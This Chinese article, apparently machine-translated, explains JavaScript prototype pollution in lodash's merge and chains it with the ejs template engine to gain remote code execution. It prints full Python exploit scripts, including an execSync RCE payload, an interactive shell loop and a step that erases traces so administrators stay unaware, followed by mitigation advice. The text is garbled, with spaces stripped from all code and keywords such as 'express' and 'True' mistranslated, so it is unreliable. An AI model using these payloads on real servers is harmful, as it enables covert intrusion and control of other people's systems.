当前位置: 首页 > 科技观察

前端原型链污染漏洞能拿下服务器shell?

时间:2023-03-20 00:02:04 科技观察

作为一名前端开发人员,有一天我遇到了一个原型链污染漏洞。我以为不会有什么影响。出于好奇,我发现原型链污染漏洞也可以拿下服务器的shell管理权限。我得注意了!有一天,我正在努力写代码,机器人发来这样一条消息,发现是一个名为“原型链污染”的漏洞。幸运的是,这只是一个dev依赖,对目前的功能几乎没有影响。修复方法可以通过升级包版本即可。“原型链污染”漏洞看似名气很大,堪比“互联网俚语”。在好奇心的驱使下,我仔细研究了起来。目前该漏洞影响常用框架:Lodash<=4.15.11Jquery<3.4.0...0x00合并对象如何?面试官让学生写一个对象合并,学生听这道题,就是这样,就是这样,30s写了一个递归对象合并,代码如下:functionmerge(target,source){for(letkeyinsource){if(keyinsource&&keyintarget){merge(target[key],source[key])}else{target[key]=source[key]}}}但是面试的同学不知道他实现的代码会埋漏洞原型链污染。下次面试新生的时候可以问问。为什么会存在原型链污染漏洞?下面我们来简单了解下原型链漏洞,从而规避日常??开发过程中可能出现的这些风险。0x01JavaScript中的原型链1.1基本概念在javaScript中,实例对象与原型之间的联系称为原型链。基本思想是使用原型让一个引用类型继承另一个引用类型的属性和方法。然后逐层形成实例链和原型链,这就是所谓原型链的基本概念。名词三:隐式原型:所有引用类型(函数、数组、对象)都有一个__proto__属性,比如arr.__proto__显式原型:所有函数都有一个原型属性,例如:func.prototype原型对象:有一个原型属性定义函数时创建的原型链之间的关系可以参考图1.1:图1.1原型链关系图1.2原型链查找机制当一个变量调用一个方法或属性时,如果当前变量没有这个方法或属性,则向上查找在变量所在的原型链中查看该方法或属性是否存在,如果存在则调用,否则返回undefined1.3将在何处使用开发中,toString(),valueOf()等方法,数组类型变量有更多的方法,比如forEach()、map()、includes()等。比如声明了一个arr数组类型的变量,但是arr变量可以调用下图中没有定义的方法和属性。通过变量的隐式原型可以看出,这些方法已经定义在数组类型变量的原型中。例如,如果一个变量的类型是Array,那么它可以根据原型链搜索机制调用相应的方法或属性。1.4原型链污染漏洞风险点分析及原理先看一个简单的例子:vara={name:'dyboy',age:18};a.__proto__.role='administrator'varb={}b.role//output:administrator的实际运行结果如下:运行结果显示在隐式原型中增加了一个role属性,并赋值为administrator(管理员)。在实例化一个新的对象b时,虽然没有role属性,但是通过原型链可以读取到通过对象a在原型链上分配的'administrator'。问题来了。__proto__指向的原型对象是可读可写的。如果黑客可以通过某些操作(常见于merge、clone等方法)对原型链上的方法或属性进行增删改查,则程序可能会因为原型链的污染而遭受DOS攻击和未授权攻击。");const_=require("lodash");constapp=newKoa();app.use(bodyParser());//合并函数constcombine=(payload={})=>{constprefixPayload={nickname:"bytedancer"};//用法参考:https://lodash.com/docs/4.17.15#merge_.merge(prefixPayload,payload);//其他同样有问题的函数:mergedefaultsDeepmergeWith};app.use(async(ctx)=>{//在某种业务场景下,将用户提交的payload合并if(ctx.method==='POST'){combine(ctx.request.body);}//某处逻辑某页constuser={username:"visitor",};letwelcomeText="Student,swimmingandfitness,letmeknow?";//因为user.role不存在,所以一直为假(false),而代码无法执行if(user.role==="admin"){welcomeText="亲爱的贵宾,您来了!";}ctx.body=welcomeText;});app.listen(3001,()=>{console.log("Running:http://localohost:3001");});当旅游用户访问网址:http://127.0.0.1:3001/,页面会显示“同学,游泳和健身,让我知道吗?”可以看到代码中使用了loadsh(4.17.10版本)的merge()函数来合并用户的payload和prefixPayload。看,好像没什么问题,业务好像也没什么问题。无论用户访问什么内容,都应该只返回一句“学生,游泳健身,让我知道吗?”程序中,user.role是一个常量,如果条件未定义,则永远不会执行if判断体中的代码。但是,使用特殊的负载测试,即运行我们的attack.py脚本。当我们再次访问http://127.0.0.1:3001时,会发现返回的结果如下:瞬间成为健身房的VIP了吧?白嫖快乐?这时候不管什么用户访问这个网站,返回的网页都会显示上面的结果,各位VIP时代。如果我们写的代码在线出现这个问题,【事故报告】查一下。attack.py的代码如下:importrequestsimportjsonreq=requests.Session()target_url='http://127.0.0.1:3001'headers={'Content-type':'application/json'}#payload={"__proto__":{"role":"admin"}}payload={"constructor":{"prototype":{"role":"admin"}}}res=req.post(target_url,data=json.dumps(payload),headers=headers)print('Attackcompleted!')攻击代码中的payload:{"constructor":{"prototype":{"role":"admin"}}}通过merge实现merge赋值()函数,同时,由于payload是用构造函数设置的,合并时会在prototype对象上加上role属性,默认值为admin,所以访问的用户就变成了“VIP”2.2分析loadsh中merge函数的实现,分析lodash4.17.10版本(有兴趣的同学可以拿到源码,自己手动trace一下👀)在node_modules/lodash/merge.js中,通过调用baseMerge(object,source,srcIndex)函数,它位于lnode_modules/lodash/_baseMerge.js中的第20行/如果合并后的属性值为对象if(isObject(srcValue)){stack||(stack=newStack);//调用baseMergebaseMergeDeep(object,source,key,srcIndex,baseMerge,customizer,stack);}else{varnewValue=customizer?customizer(safeGet(object,key),srcValue,(key+''),object,source,stack):undefined;if(newValue===undefined){newValue=srcValue;}assignMergeValue(object,key,newValue);}},keysIn);}注意safeGet的函数:functionsafeGet(object,key){returnkey=='__proto__'?undefined:object[key];}这就是为什么上面的payload没有使用__proto__而是使用了一个相当于这个属性的构造函数的原型。payload是一个对象,所以位于node_modules/lodash/_baseMergeDeep.js第32行:functionbaseMergeDeep(object,source,key,srcIndex,mergeFunc,customizer,stack){varobjValue=safeGet(object,key),srcValue=safeGet(source,key),stacked=stack.get(srcValue);if(stacked){assignMergeValue(object,key,stacked);return;}定位函数assignMergeValue在node_modules/lodash/_assignMergeValue.js函数第13行assignMergeValue(object,key,value){if((value!==undefined&&!eq(object[key],value))||(value===undefined&&!(keyinobject))){baseAssignValue(object,key,value);}}在node_modules/lodash/_baseAssignValue.js函数baseAssignValue(object,key,value){if(key=='__proto__'&&defineProperty){defineProperty(object,key,{'configurable':true,'enumerable':true,'value':value,'writable':true});}else{object[key]=value;}}绕过if判断,然后进入else逻辑,是简单的直接赋值操作,不判断constructor和prototype,所以有:prefixPayload={nickname:"bytedancer"};//payload:{"constructor":{"prototype":{"role":"admin"}}}_.merge(prefixPayload,payload);//然后给prototype对象赋一个名为role的属性,值为admin,这样用户就会进入一个不可能的逻辑,也就造成了上面的“overreach”问题2.3漏洞组合拳,拿下服务器权限从上面的demo案例,你可能会有一种错觉:原型链漏洞好像影响不大,是不是需要特别注意ntion(对比sql注入、xss、csrf等漏洞)。真的是这样吗?再看一个稍微修改过的例子(加入ejs渲染引擎的使用),基于原型链污染漏洞,一起把服务器的shell给拿下来!constexpress=require('快递');constbodyParser=require('body-parser');constlodash=require('lodash');constapp=express();app.use(bodyParser.urlencoded({extended:true})).use(bodyParser.json());app.set('views','./views');app.set('viewengine','ejs');app.get("/",(req,res)=>{lettitle='访客你OK';constuser={};if(user.role==='vip'){title='VIPhello';}res.render('index',{title:title});});app.post("/",(req,res)=>{letdata={};letinput=req.body;lodash.merge(data,input);res.json({message:"OK"});});app.listen(8888,'0.0.0.0');本例基于express+ejs+lodash,同样访问localhost:8888只会显示visitorhello,同上,可以使用原型链攻击让“大家VIP”,但不仅限于此,我们也可以深入使用它。借助包含原型链污染漏洞的ejs渲染和lodash,可以实现RCE(RemoteCodeExecution,远程代码执行)。我们来看看我们可以实现的攻击效果:可以看到,借助attack.py脚本,我们可以执行任意的shell命令。同时,我们也保证其他用户不会受到影响(管理员无法轻易察觉入侵)。在接下来的情况下,黑客会利用常识进行提权、权限维护、横向渗透等攻击,以获得更大的利益,但同时,也会给企业带来更大的损失。上述攻击方式是基于loadsh的原型链污染漏洞和ejs模板渲染结合形成的代码注入,进而形成危害更大的RCE漏洞。接下来我们看看漏洞产生的原因:1.断点调试render方法2.进入render方法,将options和模板名传给app.render()3.获取对应的渲染引擎ejs4.进入异常handling5.Continue6.通过模板文件渲染7.处理缓存,没有什么可以用这个功能8.终于来到编译模板的地方9.继续赶路10.终于进入ejs库了在这文件中,我发现第578行的opts.outputFunctionName是一个未定义的值。如果属性值存在,则会拼接到前置的变量中。可以看到第597行,作为第697行输出源码的一部分,将要拼接的源码,放到回调函数中,然后返回回调函数11.调用tryHandleCache中的回调函数和最终完成渲染并输出到客户端。可以发现在第10步中,第578行的opts.outputFunctionName是一个未定义的值。我们通过对象原型链赋值一个js代码,然后会拼接成代码(代码注入),在模板渲染的过程中会执行js代码。在nodejs环境下,可以将可调用的系统方法代码拼接成渲染回调函数,作为函数体传递给回调函数,就可以实现远程任意代码执行,就是上面演示的效果,用户可以执行任何系统指令。2.4攻击脚本的优雅实现攻击脚本的优雅在于管理员和其他用户基本不知情,可以偷偷拿下服务器的shell。完整的利用脚本如下:importrequestsimportjsonreq=requests.Session()target_url='http://127.0.0.1:8888'headers={'Content-type':'application/json'}#Invalidattack#payload={"__proto__":{"role":"vip"}}#普通逻辑攻击payload={"content":{"constructor":{"prototype":{"role":"vip"}}}}#RCE攻击#payload={"content":{"constructor":{"prototype":{"outputFunctionName":"a;returnglobal.process.mainModule.constructor._load('child_process').execSync('ls/');//"}}}}#反弹shell,比如反弹到MSF/CS#模拟一个交互式shellif__name__=="__main__":payload='\{"content":\{"constructor":\{"prototype":\{"outputFunctionName":"a;returnglobal.process.mainModule.constructor._load(\'child_process\').execSync(\'{}\');//"\}\}\}\}'while(真):shell=input('shell:')ifshell=='':continueifshell=='exit':breakformatStr="a;returnglobal.process.mainModule.constructor._load('child_process').execSync('"+shell+"');//"payload={"content":{"constructor":{"prototype":{"outputFunctionName":formatStr}}}}res=req.post(target_url,data=json.dumps(payload),headers=headers)res2=req.get(target_url)print(res2.text)#processingtraceformatStr="a;returndeleteObject.prototype['outputFunctionName'];//"payload={"content":{"constructor":{"prototype":{"outputFunctionName":formatStr}}}}res=req.post(target_url,data=json.dumps(payload),headers=headers)req.get(target_url)0x03如何规避或修复漏洞3.1可能的漏洞场景对象克隆对象合并路径设置3.2如何规避首先原型链的漏洞其实需要攻击者知道项目或者能够通过某些方法(例如文件读取漏洞)获得源代码,攻击研究成本高,一般不用担心,但攻击者可能会进行批量黑盒测试苏通过一些脚本,或者使用一些经验或规则来降低研究成本,所以这个问题不能轻易忽略。及时升级包版本:在公司的研发体系中,安全运维全程参与,安全检测在打包等操作时自动触发,这就需要大家及时将相应的第三方包升级到最新版本,或者尝试更换更安全的包。关键字过滤:结合可能存在漏洞的场景,可以多关注对象复制、合并等代码块,是否对__proto__、constructor和prototype关键字进行过滤。使用hasOwnProperty确定属性是否直接来自目标。此方法忽略从原型链继承的属性。处理json字符串时进行判断,过滤敏感键名。使用Object.create(null)创建一个没有原型的对象。使用Object.freeze(Object.prototype)冻结Object的原型,使Object的原型无法被修改。请注意,此方法是浅冻结。0x04问题&探索4.1更多问题问:为什么demo案例中的payload中没有使用__proto__?A:在我使用的4.17.10版本的loadsh库中,发现对__proto__关键字进行了判断过滤,于是想到了通过访问构造函数来绕过原型Q:在Demo中,为什么任意用户访问as被攻击后的贵宾?A:JavaAcript是单线程执行程序,所以原型链上的属性相当于全局的,所有连接的用户共享。当用户的操作改变了原型链上的内容时,所有访问者都基于修改后的原型链访问程序。4.2探索作为一名安全研究人员,上面演示的原型链漏洞看似威胁不大,但实际上黑客的攻击往往是漏洞的组合。当一个低风险级别的漏洞被用作高风险漏洞攻击的基础时,低风险漏洞是否可以被认为是低风险漏洞?这就要求更多的安全研究人员不仅要追求对高危漏洞的探索,还要增强对基础漏洞的认识。作为开发者,我们可以尝试如何利用工具快速检测程序中是否存在原型链污染漏洞,以增强企业程序的安全性。好在公司内部已经通过编译平台做了一些安全检查,大家可以提高安全意识。原型链污染虽然使用困难,但是基于它的特性,所有的开源库都可以在npm上看到。如果恶意黑客批量检测开源库并收集特征,那么他想要得到攻击目标判断一个程序是否引用了存在漏洞的开源库是不难的。那我们可以写个脚本去Github上浪一波,也不是不可以……